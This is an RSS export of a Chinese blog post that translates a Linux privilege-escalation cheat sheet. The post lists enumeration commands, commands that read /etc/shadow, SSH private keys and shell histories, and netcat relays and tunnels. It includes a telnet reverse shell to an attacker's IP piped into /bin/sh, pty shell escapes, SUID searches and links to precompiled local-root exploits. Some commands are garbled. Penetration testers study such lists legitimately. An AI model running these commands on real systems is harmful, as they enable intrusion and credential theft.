<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></title> 
<link>https://www.cnmysql.com/index.php</link> 
<description><![CDATA[关注服务器运维技术、DB优化、Docker虚拟化、自动化运维、工作积累]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></copyright>
<item>
<link>https://www.cnmysql.com/post//</link>
<title><![CDATA[Linux提权获取敏感信息方法]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[黑客攻防]]></category>
<pubDate>Fri, 12 Sep 2014 05:25:17 +0000</pubDate> 
<guid>https://www.cnmysql.com/post//</guid> 
<description>
<![CDATA[ 
	<span style="font-family: 宋体;"><br/><span style="font-size: 12px;"><br/>文中的每行为一条命令，文中有的命令可能在你的主机上敲不出来，因为它可能是在其他版本的linux中所使用的命令。<br/>列举关键点<br/><div class="code"><br/>（Linux）的提权是怎么一回事：<br/> 收集 – 枚举，枚举和一些更多的枚举。<br/> 过程 – 通过数据排序，分析和确定优先次序。<br/> 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。<br/> 适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。<br/> 尝试 – 做好准备,试验和错误。</div><br/>系统类型<br/>系统是什么版本?<br/><div class="code"><br/>cat /etc/issue<br/>cat /etc/*-release<br/>cat /etc/lsb-release<br/>cat /etc/redhat-release</div><br/>它的内核版本是什么？<br/><div class="code"><br/>cat /proc/version&nbsp;&nbsp;<br/>uname -a<br/>uname -mrs<br/>rpm -q kernel<br/>dmesg &#124; grep Linux<br/>ls /boot &#124; grep vmlinuz</div><br/>它的环境变量里有些什么？<br/><div class="code"><br/>cat /etc/profile<br/>cat /etc/bashrc<br/>cat ~/.bash_profile<br/>cat ~/.bashrc<br/>cat ~/.bash_logout<br/>env<br/>set</div><br/>是否有台打印机？<br/><div class="code">lpstat -a</div><br/>应用与服务<br/>正在运行什么服务？什么样的服务具有什么用户权限？<br/><div class="code">ps aux<br/>ps -ef<br/>top<br/>cat /etc/service</div><br/>哪些服务具有root的权限？这些服务里你看起来那些有漏洞,进行再次检查！<br/><div class="code">ps aux &#124; grep root<br/>ps -ef &#124; grep root</div><br/>安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？<br/><div class="code">ls -alh /usr/bin/<br/>ls -alh /sbin/<br/>dpkg -l<br/>rpm -qa<br/>ls -alh /var/cache/apt/archivesO<br/>ls -alh /var/cache/yum/</div><br/>Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？<br/><div class="code">cat /etc/syslog.conf<br/>cat /etc/chttp.conf<br/>cat /etc/lighttpd.conf<br/>cat /etc/cups/cupsd.conf<br/>cat /etc/inetd.conf<br/>cat /etc/apache2/apache2.conf<br/>cat /etc/my.conf<br/>cat /etc/httpd/conf/httpd.conf<br/>cat /opt/lampp/etc/httpd.conf<br/>ls -aRl /etc/ &#124; awk ‘$1 ~ /^.*r.*/</div><br/>主机上有哪些工作计划？<br/><div class="code">crontab -l<br/>ls -alh /var/spool/cron<br/>ls -al /etc/ &#124; grep cron<br/>ls -al /etc/cron*<br/>cat /etc/cron*<br/>cat /etc/at.allow<br/>cat /etc/at.deny<br/>cat /etc/cron.allow<br/>cat /etc/cron.deny<br/>cat /etc/crontab<br/>cat /etc/anacrontab<br/>cat /var/spool/cron/crontabs/root</div><br/>主机上可能有哪些纯文本用户名和密码?<br/><div class="code">grep -i user &#91;filename&#93;<br/>grep -i pass &#91;filename&#93;<br/>grep -C 5 &quot;password&quot; &#91;filename&#93;<br/>find . -name &quot;*.php&quot; -print0 &#124; xargs -0 grep -i -n &quot;var $password&quot;&nbsp;&nbsp; # Joomla</div><br/>通信与网络<br/>NIC(s)，系统有哪些？它是连接到哪一个网络？<br/><div class="code">/sbin/ifconfig -a<br/>cat /etc/network/interfaces<br/>cat /etc/sysconfig/network</div><br/>网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？<br/><div class="code">cat /etc/resolv.conf<br/>cat /etc/sysconfig/network<br/>cat /etc/networks<br/>iptables -L<br/>hostname<br/>dnsdomainname</div><br/>其他用户主机与系统的通信？<br/><div class="code">lsof -i<br/>lsof -i :80<br/>grep 80 /etc/services<br/>netstat -antup<br/>netstat -antpx<br/>netstat -tulpn<br/>chkconfig --list<br/>chkconfig --list &#124; grep 3:on<br/>last<br/>w</div><br/>缓存？IP和/或MAC地址?<br/><div class="code">arp -e<br/>route<br/>/sbin/route -nee</div><br/>数据包可能嗅探吗？可以看出什么？监听流量<br/><div class="code"># tcpdump tcp dst &#91;ip&#93; &#91;port&#93; and tcp dst &#91;ip&#93; &#91;port&#93;<br/>tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21</div><br/>你如何get一个shell？你如何与系统进行交互？<br/><div class="code"># http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/<br/>nc -lvp 4444&nbsp;&nbsp;&nbsp;&nbsp;# Attacker. 输入 (命令)<br/>nc -lvp 4445&nbsp;&nbsp;&nbsp;&nbsp;# Attacker. 输出(结果)<br/>telnet &#91;atackers ip&#93; 44444 &#124; /bin/sh &#124; &#91;local ip&#93; 44445&nbsp;&nbsp;&nbsp;&nbsp;# 在目标系统上. 使用 攻击者的IP!</div><br/>如何端口转发？（端口重定向）<br/><div class="code"># rinetd<br/># http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch<br/># fpipe<br/># FPipe.exe -l &#91;local port&#93; -r &#91;remote port&#93; -s &#91;local port&#93; &#91;local IP&#93;<br/>FPipe.exe -l 80 -r 80 -s 80 192.168.1.7<br/>#ssh<br/># ssh -&#91;L/R&#93; &#91;local port&#93;:&#91;remote ip&#93;:&#91;remote port&#93; &#91;local user&#93;@&#91;local ip&#93;<br/>ssh -L 8080:127.0.0.1:80 root@192.168.1.7&nbsp;&nbsp;&nbsp;&nbsp;# Local Port<br/>ssh -R 8080:127.0.0.1:80 root@192.168.1.7&nbsp;&nbsp;&nbsp;&nbsp;# Remote Port<br/>#mknod<br/># mknod backpipe p ; nc -l -p &#91;remote port&#93; &lt; backpipe&nbsp;&nbsp;&#124; nc &#91;local IP&#93; &#91;local port&#93; &gt;backpipe<br/>mknod backpipe p ; nc -l -p 8080 &lt; backpipe &#124; nc 10.1.1.251 80 &gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Port Relay<br/>mknod backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe &#124; tee -a inflow &#124; nc localhost 80 &#124; tee -a outflow 1&gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Proxy (Port 80 to 8080)<br/>mknod<br/>backpipe p ; nc -l -p 8080 0 &amp; &lt; backpipe &#124; tee -a inflow &#124; nc<br/>localhost 80 &#124; tee -a outflow &amp; 1&gt;backpipe&nbsp;&nbsp;&nbsp;&nbsp;# Proxy monitor (Port 80 to 8080)<br/>建立隧道可能吗？本地，远程发送命令<br/>ssh -D 127.0.0.1:9050 -N &#91;username&#93;@&#91;ip&#93;<br/>proxychains ifconfig</div><br/>秘密信息和用户<br/>你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？<br/><div class="code">id<br/>who<br/>w<br/>last<br/>cat /etc/passwd &#124; cut -d:&nbsp;&nbsp;&nbsp;&nbsp;# List of users<br/>grep -v -E &quot;^#&quot; /etc/passwd &#124; awk -F: &amp;#039;$3 == 0 &#123; print $1&#125;&#039;&nbsp;&nbsp; # List of super users<br/>awk -F: &#039;($3 == &quot;0&quot;) &#123;print&#125;&amp;#039; /etc/passwd&nbsp;&nbsp; # List of super users<br/>cat /etc/sudoers<br/>sudo -l</div><br/>可以找到什么敏感文件？<br/><div class="code">cat /etc/passwd<br/>cat /etc/group<br/>cat /etc/shadow<br/>ls -alh /var/mail/</div><br/>什么有趣的文件在home/directorie（S）里？如果有权限访问<br/><div class="code">ls -ahlR /root/<br/>ls -ahlR /home/</div><br/>是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置<br/><div class="code">cat /var/apache2/config.inc<br/>cat /var/lib/mysql/mysql/user.MYD<br/>cat /root/anaconda-ks.cfg</div><br/>用户做过什么？是否有任何密码呢？他们有没有编辑什么？<br/><div class="code">cat ~/.bash_history<br/>cat ~/.nano_history<br/>cat ~/.atftp_history<br/>cat ~/.mysql_history<br/>cat ~/.php_history</div><br/>可以找到什么样的用户信息<br/><div class="code">cat ~/.bashrc<br/>cat ~/.profile<br/>cat /var/mail/root<br/>cat /var/spool/mail/root</div><br/>private-key 信息能否被发现？<br/><div class="code">cat ~/.ssh/authorized_keys<br/>cat ~/.ssh/identity.pub<br/>cat ~/.ssh/identity<br/>cat ~/.ssh/id_rsa.pub<br/>cat ~/.ssh/id_rsa<br/>cat ~/.ssh/id_dsa.pub<br/>cat ~/.ssh/id_dsa<br/>cat /etc/ssh/ssh_config<br/>cat /etc/ssh/sshd_config<br/>cat /etc/ssh/ssh_host_dsa_key.pub<br/>cat /etc/ssh/ssh_host_dsa_key<br/>cat /etc/ssh/ssh_host_rsa_key.pub<br/>cat /etc/ssh/ssh_host_rsa_key<br/>cat /etc/ssh/ssh_host_key.pub<br/>cat /etc/ssh/ssh_host_key</div><br/>文件系统<br/>哪些用户可以写配置文件在/ etc /？能够重新配置服务？<br/><div class="code">ls -aRl /etc/ &#124; awk ‘$1 ~ /^.*w.*/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp; # Anyone<br/>ls -aRl /etc/ &#124; awk ’$1 ~ /^..w/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Owner<br/>ls -aRl /etc/ &#124; awk ‘$1 ~ /^.....w/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# Group<br/>ls -aRl /etc/ &#124; awk ’;$1 ~ /w.$/&#039; 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# Other<br/>find /etc/ -readable -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Anyone<br/>find /etc/ -readable -type f -maxdepth 1 2&gt;/dev/null&nbsp;&nbsp; # Anyone</div><br/>在/ var /有什么可以发现？<br/><div class="code">ls -alh /var/log<br/>ls -alh /var/mail<br/>ls -alh /var/spool<br/>ls -alh /var/spool/lpd<br/>ls -alh /var/lib/pgsql<br/>ls -alh /var/lib/mysql<br/>cat /var/lib/dhcp3/dhclient.leases</div><br/>网站上的任何隐藏配置/文件?配置文件与数据库信息？<br/><div class="code">ls -alhR /var/www/<br/>ls -alhR /srv/www/htdocs/<br/>ls -alhR /usr/local/www/apache22/data/<br/>ls -alhR /opt/lampp/htdocs/<br/>ls -alhR /var/www/html/</div><br/>有什么在日志文件里?（什么能够帮助到“本地文件包含”?)<br/><div class="code"># http://www.thegeekstuff.com/2011/08/linux-var-log-files/<br/>cat /etc/httpd/logs/access_log<br/>cat /etc/httpd/logs/access.log<br/>cat /etc/httpd/logs/error_log<br/>cat /etc/httpd/logs/error.log<br/>cat /var/log/apache2/access_log<br/>cat /var/log/apache2/access.log<br/>cat /var/log/apache2/error_log<br/>cat /var/log/apache2/error.log<br/>cat /var/log/apache/access_log<br/>cat /var/log/apache/access.log<br/>cat /var/log/auth.log<br/>cat /var/log/chttp.log<br/>cat /var/log/cups/error_log<br/>cat /var/log/dpkg.log<br/>cat /var/log/faillog<br/>cat /var/log/httpd/access_log<br/>cat /var/log/httpd/access.log<br/>cat /var/log/httpd/error_log<br/>cat /var/log/httpd/error.log<br/>cat /var/log/lastlog<br/>cat /var/log/lighttpd/access.log<br/>cat /var/log/lighttpd/error.log<br/>cat /var/log/lighttpd/lighttpd.access.log<br/>cat /var/log/lighttpd/lighttpd.error.log<br/>cat /var/log/messages<br/>cat /var/log/secure<br/>cat /var/log/syslog<br/>cat /var/log/wtmp<br/>cat /var/log/xferlog<br/>cat /var/log/yum.log<br/>cat /var/run/utmp<br/>cat /var/webmin/miniserv.log<br/>cat /var/www/logs/access_log<br/>cat /var/www/logs/access.log<br/>ls -alh /var/lib/dhcp3/<br/>ls -alh /var/log/postgresql/<br/>ls -alh /var/log/proftpd/<br/>ls -alh /var/log/samba/<br/>#<br/>auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,<br/>mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)</div><br/>如果命令限制，你可以打出哪些突破它的限制？<br/><div class="code">python -c &#039;import pty;pty.spawn(&quot;/bin/bash&quot;)&#039;<br/>echo os.system(&#039;/bin/bash&#039;)<br/>/bin/sh -i</div><br/>如何安装文件系统？<br/><div class="code">mount<br/>df -h</div><br/>是否有挂载的文件系统？<br/><div class="code">cat /etc/fstab</div><br/>什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID<br/><div class="code">find / -perm -1000 -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here<br/>find / -perm -g=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SGID (chmod 2000) - run as the&nbsp;&nbsp;group, not the user who started it.<br/>find / -perm -u=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SUID (chmod 4000) - run as the&nbsp;&nbsp;owner, not the user who started it.<br/>find / -perm -g=s -o -perm -u=s -type f 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# SGID or SUID<br/>for i in `locate -r &quot;bin$&quot;`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2&gt;/dev/null; done&nbsp;&nbsp;&nbsp;&nbsp;#<br/>Looks in &amp;#039;common&amp;#039; places: /bin, /sbin, /usr/bin, /usr/sbin,<br/>/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID<br/>(Quicker search)<br/>#<br/>findstarting at root (/), SGIDorSUID, not Symbolic links, only 3<br/>folders deep, list with more detail and hideany errors (e.g. permission<br/>denied)<br/>find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld &#123;&#125; ;2&gt;/dev/null</div><br/>在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录<br/><div class="code">find / -writable -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -222 -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -o+w -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# world-writeable folders<br/>find / -perm -o+x -type d 2&gt;/dev/null&nbsp;&nbsp;&nbsp;&nbsp;# world-executable folders<br/>find / ( -perm -o+w -perm -o+x ) -type d 2&gt;/dev/null&nbsp;&nbsp; # world-writeable &amp; executable folders<br/>Any &quot;problem&quot; files？可写的的，“没有使用&quot;的文件<br/>find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print&nbsp;&nbsp; # world-writeable files<br/>find /dir -xdev ( -nouser -o -nogroup ) -print&nbsp;&nbsp; # Noowner files</div><br/>准备和查找漏洞利用代码<br/>安装了什么开发工具/语言/支持？<br/><div class="code">find / -name perl*<br/>find / -name python*<br/>find / -name gcc*<br/>find / -name cc</div><br/>如何上传文件？<br/><div class="code">find / -name wget<br/>find / -name nc*<br/>find / -name netcat*<br/>find / -name tftp*<br/>find / -name ftp</div><br/>查找exploit代码<br/><a href="http://www.exploit-db.com" target="_blank">http://www.exploit-db.com</a> <br/><a href="http://1337day.com" target="_blank">http://1337day.com</a> <br/><a href="http://www.securiteam.com" target="_blank">http://www.securiteam.com</a> <br/><a href="http://www.securityfocus.com" target="_blank">http://www.securityfocus.com</a> <br/><a href="http://www.exploitsearch.net" target="_blank">http://www.exploitsearch.net</a> <br/><a href="http://metasploit.com/modules/" target="_blank">http://metasploit.com/modules/</a> <br/><a href="http://securityreason.com" target="_blank">http://securityreason.com</a> <br/><a href="http://seclists.org/fulldisclosure/" target="_blank">http://seclists.org/fulldisclosure/</a> <br/><a href="http://www.google.com" target="_blank">http://www.google.com</a> <br/>查找更多有关漏洞的信息<br/><a href="http://www.cvedetails.com" target="_blank">http://www.cvedetails.com</a> <br/><a href="http://packetstormsecurity.org/files/cve/" target="_blank">http://packetstormsecurity.org/files/cve/</a>[CVE] <br/><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=</a>[CVE]]http://cve.mitre.org... <br/><a href="http://www.vulnview.com/cve-details.php?cvename=" target="_blank">http://www.vulnview.com/cve-details.php?cvename=</a>[CVE]]http://www.vulnvie... <br/><a href="http://www.91ri.org/" target="_blank">http://www.91ri.org/</a> <br/>(快速）“共同的“exploit,预编译二进制代码文件<br/><a href="http://tarantula.by.ru/localroot/" target="_blank">http://tarantula.by.ru/localroot/</a> <br/><a href="http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/" target="_blank">http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/</a> <br/>上面的信息很难吗？<br/>快去使用第三方脚本/工具来试试吧！<br/>系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？<br/><div class="code">apt-get update &amp;&amp; apt-get upgrade</div><br/>yum update<br/>服务运行所需的最低的权限？<br/>例如，你需要以root身份运行MySQL？<br/>能够从以下网站找到自动运行的脚本？！<br/><a href="http://pentestmonkey.net/tools/unix-privesc-check/" target="_blank">http://pentestmonkey.net/tools/unix-privesc-check/</a> <br/><a href="http://labs.portcullis.co.uk/application/enum4linux/" target="_blank">http://labs.portcullis.co.uk/application/enum4linux/</a> <br/><a href="http://bastille-linux.sourceforge.net" target="_blank">http://bastille-linux.sourceforge.net</a> <br/>（快速）指南和链接<br/>例如<br/><a href="http://www.0daysecurity.com/penetration-testing/enumeration.html" target="_blank">http://www.0daysecurity.com/penetration-testing/enumeration.html</a> <br/><a href="http://www.microloft.co.uk/hacking/hacking3.htm" target="_blank">http://www.microloft.co.uk/hacking/hacking3.htm</a> <br/>其他<br/><a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf" target="_blank">http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf</a> <br/><a href="http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09..." target="_blank">http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09...</a> <br/><a href="http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html" target="_blank">http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html</a><br/></span><br/></span>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post//#blogcomment</link>
<title><![CDATA[[评论] Linux提权获取敏感信息方法]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>https://www.cnmysql.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>